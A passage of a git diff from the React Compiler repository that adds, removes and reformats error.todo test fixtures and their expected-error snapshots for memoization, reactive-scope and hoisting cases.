-    { cond: true },
-    { cond: true },
-    { cond: false },
-    { cond: false },
-    { cond: true },
-  ],
-};
-
-```
-
-
-## Error
-
-```
-Invariant: Invalid nesting in program blocks or scopes. Items overlap but are not nested: 6:11(7:15)
-```
-          
-      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-reactive-scope-overlaps-if.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-reactive-scope-overlaps-if.ts
deleted file mode 100644
index 8e3c740f2fd2..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-reactive-scope-overlaps-if.ts
+++ /dev/null
@@ -1,26 +0,0 @@
-function useFoo({ cond }) {
-  let items: any = {};
-  b0: {
-    if (cond) {
-      // Mutable range of `items` begins here, but its reactive scope block
-      // should be aligned to above the if-branch
-      items = [];
-    } else {
-      break b0;
-    }
-    items.push(2);
-  }
-  return items;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: useFoo,
-  params: [{ cond: true }],
-  sequentialRenders: [
-    { cond: true },
-    { cond: true },
-    { cond: false },
-    { cond: false },
-    { cond: true },
-  ],
-};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-reactive-scope-overlaps-label.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-reactive-scope-overlaps-label.expect.md
deleted file mode 100644
index 62295b9a0ca0..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-reactive-scope-overlaps-label.expect.md
+++ /dev/null
@@ -1,40 +0,0 @@
-
-## Input
-
-```javascript
-import { arrayPush } from "shared-runtime";
-
-function useFoo({ cond, value }) {
-  let items;
-  label: {
-    items = [];
-    // Mutable range of `items` begins here, but its reactive scope block
-    // should be aligned to above the label-block
-    if (cond) break label;
-    arrayPush(items, value);
-  }
-  arrayPush(items, value);
-  return items;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: useFoo,
-  params: [{ cond: true, value: 2 }],
-  sequentialRenders: [
-    { cond: true, value: 2 },
-    { cond: true, value: 2 },
-    { cond: true, value: 3 },
-    { cond: false, value: 3 },
-  ],
-};
-
-```
-
-
-## Error
-
-```
-Invariant: Invalid nesting in program blocks or scopes. Items overlap but are not nested: 3:14(4:18)
-```
-          
-      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-reactive-scope-overlaps-label.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-reactive-scope-overlaps-label.ts
deleted file mode 100644
index d2e7647cefa2..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-reactive-scope-overlaps-label.ts
+++ /dev/null
@@ -1,25 +0,0 @@
-import { arrayPush } from "shared-runtime";
-
-function useFoo({ cond, value }) {
-  let items;
-  label: {
-    items = [];
-    // Mutable range of `items` begins here, but its reactive scope block
-    // should be aligned to above the label-block
-    if (cond) break label;
-    arrayPush(items, value);
-  }
-  arrayPush(items, value);
-  return items;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: useFoo,
-  params: [{ cond: true, value: 2 }],
-  sequentialRenders: [
-    { cond: true, value: 2 },
-    { cond: true, value: 2 },
-    { cond: true, value: 3 },
-    { cond: false, value: 3 },
-  ],
-};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-reactive-scope-overlaps-try.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-reactive-scope-overlaps-try.expect.md
deleted file mode 100644
index 95cdbe5aeea7..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-reactive-scope-overlaps-try.expect.md
+++ /dev/null
@@ -1,36 +0,0 @@
-
-## Input
-
-```javascript
-import { arrayPush } from "shared-runtime";
-
-function useFoo({ value }) {
-  let items = null;
-  try {
-    // Mutable range of `items` begins here, but its reactive scope block
-    // should be aligned to above the try-block
-    items = [];
-    arrayPush(items, value);
-  } catch {
-    // ignore
-  }
-  mutate(items);
-  return items;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: useFoo,
-  params: [{ value: 2 }],
-  sequentialRenders: [{ value: 2 }, { value: 2 }, { value: 3 }],
-};
-
-```
-
-
-## Error
-
-```
-Invariant: Invalid nesting in program blocks or scopes. Items overlap but are not nested: 4:19(5:22)
-```
-          
-      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-reactive-scope-overlaps-try.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-reactive-scope-overlaps-try.ts
deleted file mode 100644
index 0a4a7eab6c73..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-reactive-scope-overlaps-try.ts
+++ /dev/null
@@ -1,21 +0,0 @@
-import { arrayPush } from "shared-runtime";
-
-function useFoo({ value }) {
-  let items = null;
-  try {
-    // Mutable range of `items` begins here, but its reactive scope block
-    // should be aligned to above the try-block
-    items = [];
-    arrayPush(items, value);
-  } catch {
-    // ignore
-  }
-  mutate(items);
-  return items;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: useFoo,
-  params: [{ value: 2 }],
-  sequentialRenders: [{ value: 2 }, { value: 2 }, { value: 3 }],
-};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-reassign-const.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-reassign-const.expect.md
index 997f9f34d1f7..e594880ef92f 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-reassign-const.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-reassign-const.expect.md
@@ -2,9 +2,9 @@
 ## Input
 
 ```javascript
-import { Stringify } from "shared-runtime";
+import {Stringify} from 'shared-runtime';
 
-function Component({ foo }) {
+function Component({foo}) {
   let bar = foo.bar;
   return (
     <Stringify
@@ -21,13 +21,42 @@ function Component({ foo }) {
 ## Error
 
 ```
-  1 | import { Stringify } from "shared-runtime";
+Found 3 errors:
+
+Todo: Support destructuring of context variables
+
+error.todo-reassign-const.ts:3:20
+  1 | import {Stringify} from 'shared-runtime';
   2 |
-> 3 | function Component({ foo }) {
-    |                      ^^^ Todo: Support destructuring of context variables (3:3)
+> 3 | function Component({foo}) {
+    |                     ^^^
   4 |   let bar = foo.bar;
   5 |   return (
   6 |     <Stringify
+
+Todo: Support destructuring of context variables
+
+error.todo-reassign-const.ts:3:20
+  1 | import {Stringify} from 'shared-runtime';
+  2 |
+> 3 | function Component({foo}) {
+    |                     ^^^
+  4 |   let bar = foo.bar;
+  5 |   return (
+  6 |     <Stringify
+
+Error: This value cannot be modified
+
+Modifying component props or hook arguments is not allowed. Consider using a local variable instead.
+
+error.todo-reassign-const.ts:8:8
+   6 |     <Stringify
+   7 |       handler={() => {
+>  8 |         foo = true;
+     |         ^^^ `foo` cannot be modified
+   9 |       }}
+  10 |     />
+  11 |   );
 ```
           
       
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-reassign-const.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-reassign-const.js
index 3a54e0c59904..1061d7d419ba 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-reassign-const.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-reassign-const.js
@@ -1,6 +1,6 @@
-import { Stringify } from "shared-runtime";
+import {Stringify} from 'shared-runtime';
 
-function Component({ foo }) {
+function Component({foo}) {
   let bar = foo.bar;
   return (
     <Stringify
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-recursive-function-expression.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-recursive-function-expression.expect.md
deleted file mode 100644
index d4d09dfeae9b..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-recursive-function-expression.expect.md
+++ /dev/null
@@ -1,30 +0,0 @@
-
-## Input
-
-```javascript
-function Component() {
-  function callback(x) {
-    if (x == 0) {
-      return null;
-    }
-    return callback(x - 1);
-  }
-  return callback(10);
-}
-
-```
-
-
-## Error
-
-```
-  4 |       return null;
-  5 |     }
-> 6 |     return callback(x - 1);
-    |            ^^^^^^^^^^^^^^^ Todo: Unsupported declaration type for hoisting. variable "callback" declared with FunctionDeclaration (6:6)
-  7 |   }
-  8 |   return callback(10);
-  9 | }
-```
-          
-      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-recursive-function-expression.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-recursive-function-expression.js
deleted file mode 100644
index f1b95e510576..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-recursive-function-expression.js
+++ /dev/null
@@ -1,9 +0,0 @@
-function Component() {
-  function callback(x) {
-    if (x == 0) {
-      return null;
-    }
-    return callback(x - 1);
-  }
-  return callback(10);
-}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-repro-declaration-for-all-identifiers.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-repro-declaration-for-all-identifiers.expect.md
deleted file mode 100644
index 78951bf6c0e9..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-repro-declaration-for-all-identifiers.expect.md
+++ /dev/null
@@ -1,28 +0,0 @@
-
-## Input
-
-```javascript
-function Foo() {
-  try {
-    // NOTE: this fixture previously failed during LeaveSSA;
-    // double-check this code when supporting value blocks in try/catch
-    for (let i = 0; i < 2; i++) {}
-  } catch {}
-}
-
-```
-
-
-## Error
-
-```
-  3 |     // NOTE: this fixture previously failed during LeaveSSA;
-  4 |     // double-check this code when supporting value blocks in try/catch
-> 5 |     for (let i = 0; i < 2; i++) {}
-    |                     ^ Todo: Support value blocks (conditional, logical, optional chaining, etc) within a try/catch statement (5:5)
-  6 |   } catch {}
-  7 | }
-  8 |
-```
-          
-      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-repro-declaration-for-all-identifiers.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-repro-declaration-for-all-identifiers.js
deleted file mode 100644
index a633a175374d..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-repro-declaration-for-all-identifiers.js
+++ /dev/null
@@ -1,7 +0,0 @@
-function Foo() {
-  try {
-    // NOTE: this fixture previously failed during LeaveSSA;
-    // double-check this code when supporting value blocks in try/catch
-    for (let i = 0; i < 2; i++) {}
-  } catch {}
-}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-repro-missed-memoization-from-capture-in-invoked-function-inferred-as-mutation.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-repro-missed-memoization-from-capture-in-invoked-function-inferred-as-mutation.expect.md
new file mode 100644
index 000000000000..fc00a96a9f37
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-repro-missed-memoization-from-capture-in-invoked-function-inferred-as-mutation.expect.md
@@ -0,0 +1,60 @@
+
+## Input
+
+```javascript
+// @flow @validatePreserveExistingMemoizationGuarantees @enablePreserveExistingMemoizationGuarantees:false
+import {useMemo} from 'react';
+import {logValue, useFragment, useHook, typedLog} from 'shared-runtime';
+
+component Component() {
+  const data = useFragment();
+
+  const getIsEnabled = () => {
+    if (data != null) {
+      return true;
+    } else {
+      return {};
+    }
+  };
+
+  // We infer that getIsEnabled returns a mutable value, such that
+  // isEnabled is mutable
+  const isEnabled = useMemo(() => getIsEnabled(), [getIsEnabled]);
+
+  // We then infer getLoggingData as capturing that mutable value,
+  // so any calls to this function are then inferred as extending
+  // the mutable range of isEnabled
+  const getLoggingData = () => {
+    return {
+      isEnabled,
+    };
+  };
+
+  // The call here is then inferred as an indirect mutation of isEnabled
+  useHook(getLoggingData());
+
+  return <div onClick={() => typedLog(getLoggingData())} />;
+}
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Compilation Skipped: Existing memoization could not be preserved
+
+React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. This value was memoized in source but not in compilation output.
+
+  16 |   // We infer that getIsEnabled returns a mutable value, such that
+  17 |   // isEnabled is mutable
+> 18 |   const isEnabled = useMemo(() => getIsEnabled(), [getIsEnabled]);
+     |                     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Could not preserve existing memoization
+  19 |
+  20 |   // We then infer getLoggingData as capturing that mutable value,
+  21 |   // so any calls to this function are then inferred as extending
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-repro-missed-memoization-from-capture-in-invoked-function-inferred-as-mutation.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-repro-missed-memoization-from-capture-in-invoked-function-inferred-as-mutation.js
new file mode 100644
index 000000000000..f3d08397770a
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-repro-missed-memoization-from-capture-in-invoked-function-inferred-as-mutation.js
@@ -0,0 +1,33 @@
+// @flow @validatePreserveExistingMemoizationGuarantees @enablePreserveExistingMemoizationGuarantees:false
+import {useMemo} from 'react';
+import {logValue, useFragment, useHook, typedLog} from 'shared-runtime';
+
+component Component() {
+  const data = useFragment();
+
+  const getIsEnabled = () => {
+    if (data != null) {
+      return true;
+    } else {
+      return {};
+    }
+  };
+
+  // We infer that getIsEnabled returns a mutable value, such that
+  // isEnabled is mutable
+  const isEnabled = useMemo(() => getIsEnabled(), [getIsEnabled]);
+
+  // We then infer getLoggingData as capturing that mutable value,
+  // so any calls to this function are then inferred as extending
+  // the mutable range of isEnabled
+  const getLoggingData = () => {
+    return {
+      isEnabled,
+    };
+  };
+
+  // The call here is then inferred as an indirect mutation of isEnabled
+  useHook(getLoggingData());
+
+  return <div onClick={() => typedLog(getLoggingData())} />;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-repro-missed-memoization-from-inferred-mutation-in-logger.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-repro-missed-memoization-from-inferred-mutation-in-logger.expect.md
new file mode 100644
index 000000000000..618e1fb2883b
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-repro-missed-memoization-from-inferred-mutation-in-logger.expect.md
@@ -0,0 +1,120 @@
+
+## Input
+
+```javascript
+// @flow @validatePreserveExistingMemoizationGuarantees @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false
+import {useFragment} from 'react-relay';
+import LogEvent from 'LogEvent';
+import {useCallback, useMemo} from 'react';
+
+component Component(id) {
+  const items = useFragment();
+
+  const [index, setIndex] = useState(0);
+
+  const logData = useMemo(() => {
+    const item = items[index];
+    return {
+      key: item.key,
+    };
+  }, [index, items]);
+
+  const setCurrentIndex = useCallback(
+    (index: number) => {
+      const object = {
+        tracking: logData.key,
+      };
+      // We infer that this may mutate `object`, which in turn aliases
+      // data from `logData`, such that `logData` may be mutated.
+      LogEvent.log(() => object);
+      setIndex(index);
+    },
+    [index, logData, items]
+  );
+
+  if (prevId !== id) {
+    setCurrentIndex(0);
+  }
+
+  return (
+    <Foo
+      index={index}
+      items={items}
+      current={mediaList[index]}
+      setCurrentIndex={setCurrentIndex}
+    />
+  );
+}
+
+```
+
+
+## Error
+
+```
+Found 3 errors:
+
+Compilation Skipped: Existing memoization could not be preserved
+
+React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. This value was memoized in source but not in compilation output.
+
+   9 |   const [index, setIndex] = useState(0);
+  10 |
+> 11 |   const logData = useMemo(() => {
+     |                   ^^^^^^^^^^^^^^^
+> 12 |     const item = items[index];
+     | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+> 13 |     return {
+     | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+> 14 |       key: item.key,
+     | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+> 15 |     };
+     | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+> 16 |   }, [index, items]);
+     | ^^^^^^^^^^^^^^^^^^^^^ Could not preserve existing memoization
+  17 |
+  18 |   const setCurrentIndex = useCallback(
+  19 |     (index: number) => {
+
+Compilation Skipped: Existing memoization could not be preserved
+
+React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. This dependency may be mutated later, which could cause the value to change unexpectedly.
+
+  26 |       setIndex(index);
+  27 |     },
+> 28 |     [index, logData, items]
+     |             ^^^^^^^ This dependency may be modified later
+  29 |   );
+  30 |
+  31 |   if (prevId !== id) {
+
+Compilation Skipped: Existing memoization could not be preserved
+
+React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. This value was memoized in source but not in compilation output.
+
+  17 |
+  18 |   const setCurrentIndex = useCallback(
+> 19 |     (index: number) => {
+     |     ^^^^^^^^^^^^^^^^^^^^
+> 20 |       const object = {
+     | ^^^^^^^^^^^^^^^^^^^^^^
+> 21 |         tracking: logData.key,
+     | ^^^^^^^^^^^^^^^^^^^^^^
+> 22 |       };
+     | ^^^^^^^^^^^^^^^^^^^^^^
+> 23 |       // We infer that this may mutate `object`, which in turn aliases
+     | ^^^^^^^^^^^^^^^^^^^^^^
+> 24 |       // data from `logData`, such that `logData` may be mutated.
+     | ^^^^^^^^^^^^^^^^^^^^^^
+> 25 |       LogEvent.log(() => object);
+     | ^^^^^^^^^^^^^^^^^^^^^^
+> 26 |       setIndex(index);
+     | ^^^^^^^^^^^^^^^^^^^^^^
+> 27 |     },
+     | ^^^^^^ Could not preserve existing memoization
+  28 |     [index, logData, items]
+  29 |   );
+  30 |
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-repro-missed-memoization-from-inferred-mutation-in-logger.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-repro-missed-memoization-from-inferred-mutation-in-logger.js
new file mode 100644
index 000000000000..a59fda33df06
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-repro-missed-memoization-from-inferred-mutation-in-logger.js
@@ -0,0 +1,43 @@
+// @flow @validatePreserveExistingMemoizationGuarantees @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false
+import {useFragment} from 'react-relay';
+import LogEvent from 'LogEvent';
+import {useCallback, useMemo} from 'react';
+
+component Component(id) {
+  const items = useFragment();
+
+  const [index, setIndex] = useState(0);
+
+  const logData = useMemo(() => {
+    const item = items[index];
+    return {
+      key: item.key,
+    };
+  }, [index, items]);
+
+  const setCurrentIndex = useCallback(
+    (index: number) => {
+      const object = {
+        tracking: logData.key,
+      };
+      // We infer that this may mutate `object`, which in turn aliases
+      // data from `logData`, such that `logData` may be mutated.
+      LogEvent.log(() => object);
+      setIndex(index);
+    },
+    [index, logData, items]
+  );
+
+  if (prevId !== id) {
+    setCurrentIndex(0);
+  }
+
+  return (
+    <Foo
+      index={index}
+      items={items}
+      current={mediaList[index]}
+      setCurrentIndex={setCurrentIndex}
+    />
+  );
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-repro-named-function-with-shadowed-local-same-name.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-repro-named-function-with-shadowed-local-same-name.expect.md
index db3a192eaf60..32595c07b524 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-repro-named-function-with-shadowed-local-same-name.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-repro-named-function-with-shadowed-local-same-name.expect.md
@@ -19,10 +19,17 @@ function Component(props) {
 ## Error
 
 ```
+Found 1 error:
+
+Invariant: [InferMutationAliasingEffects] Expected value kind to be initialized
+
+<unknown> hasErrors_0$15:TFunction.
+
+error.todo-repro-named-function-with-shadowed-local-same-name.ts:9:9
    7 |     return hasErrors;
    8 |   }
 >  9 |   return hasErrors();
-     |          ^^^^^^^^^ Invariant: [hoisting] Expected value for identifier to be initialized. hasErrors_0$16 (9:9)
+     |          ^^^^^^^^^ this is uninitialized
   10 | }
   11 |
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-repro-unmemoized-callback-captured-in-context-variable.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-repro-unmemoized-callback-captured-in-context-variable.expect.md
index 43dd5b743b94..4721e015b08b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-repro-unmemoized-callback-captured-in-context-variable.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-repro-unmemoized-callback-captured-in-context-variable.expect.md
@@ -2,11 +2,11 @@
 ## Input
 
 ```javascript
-// @validatePreserveExistingMemoizationGuarantees
-import { useMemo } from "react";
-import { ValidateMemoization, useHook } from "shared-runtime";
+// @validatePreserveExistingMemoizationGuarantees @enablePreserveExistingMemoizationGuarantees:false
+import {useMemo} from 'react';
+import {ValidateMemoization, useHook} from 'shared-runtime';
 
-function UnmemoizedCallbackCapturedInContextVariable({ cond1, cond2 }) {
+function UnmemoizedCallbackCapturedInContextVariable({cond1, cond2}) {
   // The return value is captured by `x` which is a context variable, which
   // extends a's range to include the call instruction. This prevents the entire
   // range from being memoized
@@ -35,12 +35,12 @@ function UnmemoizedCallbackCapturedInContextVariable({ cond1, cond2 }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: UnmemoizedCallbackCapturedInContextVariable,
-  params: [{ cond1: true, cond2: false }],
+  params: [{cond1: true, cond2: false}],
   sequentialRenders: [
-    { cond1: true, cond2: true },
-    { cond1: false, cond2: true },
-    { cond1: false, cond2: true }, // fails sprout bc memoization is not preserved
-    { cond1: false, cond2: false },
+    {cond1: true, cond2: true},
+    {cond1: false, cond2: true},
+    {cond1: false, cond2: true}, // fails sprout bc memoization is not preserved
+    {cond1: false, cond2: false},
   ],
 };
 
@@ -50,10 +50,17 @@ export const FIXTURE_ENTRYPOINT = {
 ## Error
 
 ```
+Found 1 error:
+
+Compilation Skipped: Existing memoization could not be preserved
+
+React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. This value was memoized in source but not in compilation output.
+
+error.todo-repro-unmemoized-callback-captured-in-context-variable.ts:11:12
    9 |   const a = useHook();
   10 |   // Because b is also part of that same mutable range, it can't be memoized either
 > 11 |   const b = useMemo(() => ({}), []);
-     |                     ^^^^^^^^^^ CannotPreserveMemoization: React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. This value may be mutated later, which could cause the value to change unexpectedly (11:11)
+     |             ^^^^^^^^^^^^^^^^^^^^^^^ Could not preserve existing memoization
   12 |
   13 |   // Conditional assignment without a subsequent mutation normally doesn't create a mutable
   14 |   // range, but in this case we're reassigning a context variable
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-repro-unmemoized-callback-captured-in-context-variable.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-repro-unmemoized-callback-captured-in-context-variable.tsx
index b85babcab395..0b90cf45bc53 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-repro-unmemoized-callback-captured-in-context-variable.tsx
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-repro-unmemoized-callback-captured-in-context-variable.tsx
@@ -1,8 +1,8 @@
-// @validatePreserveExistingMemoizationGuarantees
-import { useMemo } from "react";
-import { ValidateMemoization, useHook } from "shared-runtime";
+// @validatePreserveExistingMemoizationGuarantees @enablePreserveExistingMemoizationGuarantees:false
+import {useMemo} from 'react';
+import {ValidateMemoization, useHook} from 'shared-runtime';
 
-function UnmemoizedCallbackCapturedInContextVariable({ cond1, cond2 }) {
+function UnmemoizedCallbackCapturedInContextVariable({cond1, cond2}) {
   // The return value is captured by `x` which is a context variable, which
   // extends a's range to include the call instruction. This prevents the entire
   // range from being memoized
@@ -31,11 +31,11 @@ function UnmemoizedCallbackCapturedInContextVariable({ cond1, cond2 }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: UnmemoizedCallbackCapturedInContextVariable,
-  params: [{ cond1: true, cond2: false }],
+  params: [{cond1: true, cond2: false}],
   sequentialRenders: [
-    { cond1: true, cond2: true },
-    { cond1: false, cond2: true },
-    { cond1: false, cond2: true }, // fails sprout bc memoization is not preserved
-    { cond1: false, cond2: false },
+    {cond1: true, cond2: true},
+    {cond1: false, cond2: true},
+    {cond1: false, cond2: true}, // fails sprout bc memoization is not preserved
+    {cond1: false, cond2: false},
   ],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-useCallback-accesses-ref-mutated-later-via-function-preserve-memoization.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-useCallback-accesses-ref-mutated-later-via-function-preserve-memoization.expect.md
deleted file mode 100644
index 20777083e6ed..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-useCallback-accesses-ref-mutated-later-via-function-preserve-memoization.expect.md
+++ /dev/null
@@ -1,54 +0,0 @@
-
-## Input
-
-```javascript
-// @enablePreserveExistingMemoizationGuarantees
-import { useCallback, useRef } from "react";
-
-function Component(props) {
-  const ref = useRef({ inner: null });
-
-  const onChange = useCallback((event) => {
-    // The ref should still be mutable here even though function deps are frozen in
-    // @enablePreserveExistingMemoizationGuarantees mode
-    ref.current.inner = event.target.value;
-  });
-
-  // The ref is modified later, extending its range and preventing memoization of onChange
-  const reset = () => {
-    ref.current.inner = null;
-  };
-  reset();
-
-  return <input onChange={onChange} />;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [{}],
-};
-
-```
-
-
-## Error
-
-```
-   5 |   const ref = useRef({ inner: null });
-   6 |
->  7 |   const onChange = useCallback((event) => {
-     |                                ^^^^^^^^^^^^
->  8 |     // The ref should still be mutable here even though function deps are frozen in
-     | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
->  9 |     // @enablePreserveExistingMemoizationGuarantees mode
-     | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
-> 10 |     ref.current.inner = event.target.value;
-     | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
-> 11 |   });
-     | ^^^^ CannotPreserveMemoization: React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. This value may be mutated later, which could cause the value to change unexpectedly (7:11)
-  12 |
-  13 |   // The ref is modified later, extending its range and preventing memoization of onChange
-  14 |   const reset = () => {
-```
-          
-      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-useCallback-accesses-ref-mutated-later-via-function-preserve-memoization.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-useCallback-accesses-ref-mutated-later-via-function-preserve-memoization.js
deleted file mode 100644
index b96e65780bd3..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-useCallback-accesses-ref-mutated-later-via-function-preserve-memoization.js
+++ /dev/null
@@ -1,25 +0,0 @@
-// @enablePreserveExistingMemoizationGuarantees
-import { useCallback, useRef } from "react";
-
-function Component(props) {
-  const ref = useRef({ inner: null });
-
-  const onChange = useCallback((event) => {
-    // The ref should still be mutable here even though function deps are frozen in
-    // @enablePreserveExistingMemoizationGuarantees mode
-    ref.current.inner = event.target.value;
-  });
-
-  // The ref is modified later, extending its range and preventing memoization of onChange
-  const reset = () => {
-    ref.current.inner = null;
-  };
-  reset();
-
-  return <input onChange={onChange} />;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [{}],
-};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-useCallback-set-ref-nested-property-ref-modified-later-preserve-memoization.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-useCallback-set-ref-nested-property-ref-modified-later-preserve-memoization.expect.md
index 568ea337fe17..a0c492120a35 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-useCallback-set-ref-nested-property-ref-modified-later-preserve-memoization.expect.md
